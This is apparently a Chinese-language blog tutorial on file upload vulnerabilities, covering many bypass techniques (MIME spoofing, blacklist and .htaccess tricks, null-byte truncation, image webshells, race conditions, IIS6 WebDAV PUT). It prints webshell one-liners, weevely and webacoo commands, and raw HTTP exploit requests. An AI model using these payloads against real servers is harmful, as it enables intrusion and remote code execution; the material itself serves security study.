文件上传漏洞详解

一、上传漏洞基础

1、上传漏洞定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

2、上传漏洞危害

1.上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。

2.上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;

3.上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);

4.上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;

5.上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

4、上传漏洞满足条件

首先,上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。

其次,用户能够从web访问这个文件。如果文件上传了,但用户无法通过web访问,或者无法得到web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

5、上传漏洞产生的原因

一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过 url 去 访问以执行代码.

造成文件上传漏洞的原因是:

1.服务器配置不当

2.开源编辑器上传漏洞

3.本地文件上传限制被绕过

4.过滤不严格被绕过

5.文件解析漏洞导致文件执行

6.文件路径截断

二、上传漏洞进阶

1、上传漏洞的原理

大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在 进程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

2、上传漏洞绕过

2.1、客服端绕过-JS验证

(1)客户端校验:

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

(2)绕过方法:

  1. 通过火狐插件 NOscript 插件或者禁用 IE 中 JS 脚本;

  2. 通过 firbug 插件元素审核修改代码(如删除 οnsubmit=”return checkFile()” 事件);

  3. 通过 firbug 元素审核 javascirpt 脚本中添加上传文件类型;

  4. 通过利用 burp 抓包改包,先上传一个 gif 类型的木马,然后通过 burp 将其改为asp/php/jsp 后缀名即可 注意:这里修改文件名字后,请求头中的 Content-Length 的值也要改。

2.2、绕过MIME-Type验证

(1)MIME 的作用:

使客户端软件,区分不同种类的数据,例如web浏览器就是通过 MIME 类 型来判断文件是GIF图片,还是可打印的 PostScript 文件。web服务器使用 MIME 来说明发送数据的种类,web客户端使用 MIME 来说明希望接收到的数据种类,它是服务器用来判断浏览器传递文件格式的重要标记项。

常用的文件上传类型的 MIME 表:

text/plain(纯文本) 
text/html(HTML 文档) 
text/javascript(js 代码)  
application/xhtml+xml(XHTML 文档) 
image/gif(GIF 图像) 
image/jpeg(JPEG 图像)  
image/png(PNG 图像) 
video/mpeg(MPEG 劢画) 
video/x-msvideo (AVI文件)
audio/basic (au声音文件)
audio/midi,audio/x-midi (midi音乐文件)
audio/x-pn-realaudio (realaudio音乐文件)
application/octet-stream(二迚制数据)  
application/pdf(PDF 文档) 
application/(编程语言) 该种语言的代码  
application/msword(Microsoft Word 文件) 
message/rfc822(RFC 822 形式)  
multipart/alternative(HTML 邮件的 HTML 形式和纯文本形式,相同内容使 用不同形式表示)  
application/x-www-form-urlencoded(POST 方法提交的表单)
multipart/form-data(POST  提交时伴随文件上传的表单)

(2)验证MIME-Type代码分析

查看源代码分析 使用$_FILE[‘upload_file’][‘type’]获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的。

(3)绕过方法

绕过方法:上传对文件类型做了限制,可通过 burpsuit 将其他类文件类型修改为如:Content-Type:image/gif 和 image/jpeg 等允许上传的文件类型。

2.3、绕过黑名单验证

对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。

基于文件后缀名验证方式的分类:

1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。

2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

对于黑名单中的后缀名筛选。绕过黑名单可以通过寻找“漏网之鱼”,寻找某些可以被作为脚本执行同时也不在黑名单中。

phtml,php3,php4
jsp, jspx ,jspf
asp asa cer cdx,htr,xml,html
aspx,ashx,asmx,asax,ascx

2.4、绕过黑名单验证(.htaccess)

(1).htaccess文件介绍

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

其中.htaccess文件内容:
SetHandler application/x-httpd-php   

设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

(2)配置文件http.conf

在Apache中如果需要启动 .htaccess,必须在http.conf中设置

AllowOverride ALL

(3)步骤

先上传一个.htaccess文件,设置当前目录所有文件都使用PHP解析。之后上传木马文件。

2.5、绕过黑名单验证(大小写绕过)

(1)大小写绕过原理

Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。

Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。

(2)直接修改后缀名PhP上传文件

(3)WeBaCoo上传Webshell

WeBaCoo生成Webshell:    
    webacoo -g -o a.php
上传Webshell
连接Webshell:
    webacoo -t -u "Webshell文件地址"

2.6、绕过黑名单验证(空格绕过)

(1)空格绕过原理

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。

针对这样的情况需要使用Burpsuite阶段HTTP请求之后,修改对应的文件名 添加空格。

(2)Webshell生成与上传

2.7、绕过黑名单验证(.号绕过)

(1).号绕过原理

Windows系统下,文件后缀名最后一个点会被自动去除。

例如:Windows下新建一个1.php.文件,查看。

(2)Burpsuite 绕过黑名单验证

利用Burpsuite工具截断HTTP请求,上传文件加 . 绕过上传。

(3)生成并上传Webshell

使用weevely生成Webshell并上传。 
1、生成:weevely generate 密码 路径 文件名 
2、上传 
3、连接:weevely 文件地址 密码

2.8、绕过黑名单验证(特殊符号)

(1)特殊符号绕过原理

Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

例如:在Windows系统下新建一个文件名为 1.php::$DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建。

(2)上传 1.php::$DATA

在Kali Linux下修改文件名为 1.php::$DATA进行上传

上传第三方Webshell :上传网络上公开的一些Webshell

2.9、绕过黑名单验证(路径拼接绕过)

(1)路径拼接绕过原理

在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。

例如:用户新建 1.php.+空格+.   

deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.。利用Windows自动去除最后一个点,导致成功上传1.php。

(2)修改文件名 绕过黑名单验证

在Kali linux下修改文件名,上传1.php. .文件

2.10、绕过黑名单验证(双写绕过)

(1)双写绕过原理

代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过。

例如: 1.phphpp

(2)基于黑名单验证代码分析

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

该函数必须遵循下列规则:

如果搜索的字符串是一个数组,那么它将返回一个数组。

如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。

如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换

如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。

注释:该函数是二进制安全的。

2.11、绕过白名单验证(00截断绕过)

(1)00截断原理

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。

系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数。

(2)GET型00截断

GET型提交的内容会被自动进行URL解码。

注意:一定要关闭GPC,否则无法成功。

上传jpg文件-》在抓包头save_path.../upload/1.php%00

(3)POST型00截断

在POST请求中,%00不会被自动解码,需要在16进制中进行修改00.

./upload/2.php空格-》转到hex找到2.php-》把2.php后面的2020改为0000

2.12、图片Webshell上传

(1)图片Webshell制作

在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。

针对这种情况可以直接新建要给1.jpg,其中代码内容如下 
GIF98A 
<?php
     phpinfo(); 
?>

(2)上传图片Webshell文件

将制作好的图片Webshell上传到服务器。

Windows 
copy 1.png/b+1.php/a shell.png

其中可能Content-Type验证。修改为image/gif 或 image/jpg 符合当前文件类型的MIME

2.13、文件上传-竞争条件

(1)文件上传过程介绍

文件上传过程: 服务器获取文件->保存上传临时文件->重命名移动临时文件

(2)竞争条件原理介绍

网站逻辑:

1、网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。

2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。

在删除之前访问上传的php文件,从而执行上传文件中的php代码。

例如:上传文件代码如下
<?php
     fputs(fopen('shell.php','w'),'<?php @eval($_POST[“cmd”]) ?>'); 
?>

(3)竞争条件文件上传利用

提前不断访问代码文件,然后上传,最终使用菜刀连接一句话Webshell。

Python发送http请求:
import requests
while True:   
	requests.get(“文件路径”)

2.14、中间件解析漏洞 - IIS6.0

(1)IIS6.0解析漏洞介绍

1、当建立 .asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件解析。 <%=NOW()%>

2、当文件 *.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。

微软 目前也没有推出补丁,不认为是一个漏洞。

(2)IIS6.0 PUT上传原理

WebDAV 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法。

1、探测是否存在IIS PUT漏洞:                  
OPTIONS / HTTP1.1 
Host: www.xxx.com 
2、上传txt文本文件 
PUT /a.txt HTTP1.1 
Host:www.xxx.com 
。。。。。
Content-Length: 30 
<%eval request("chopper")%>
3、通过Move或Copy重名
COPY /a.txt HTTP1.1 
Host: www.xxx.com 
Destination: http://www.xxx.com/cmd.asp 
4、删除 
DELETE /a.txt HTTP1.1 
Host: www.xxx.com

(3)IIS6.0 PUT上传探测

利用nikto探测
nikto -h IP地址

(4)IIS6.0 PUT上传利用

利用Burpsuite 进行IIS PUT漏洞利用。先OPTIONS探测、PUT 、MOVE、DELETE

(5)IIS6.0解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

(6)IIS6.0文件解析漏洞修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。

2.做好权限设置,限制用户创建文件夹。

参考链接:https://www.freebuf.com/articles/web/276245.html

posted @ 2022-07-06 18:24  爱吃_白菜  阅读(314)  评论(0编辑  收藏  举报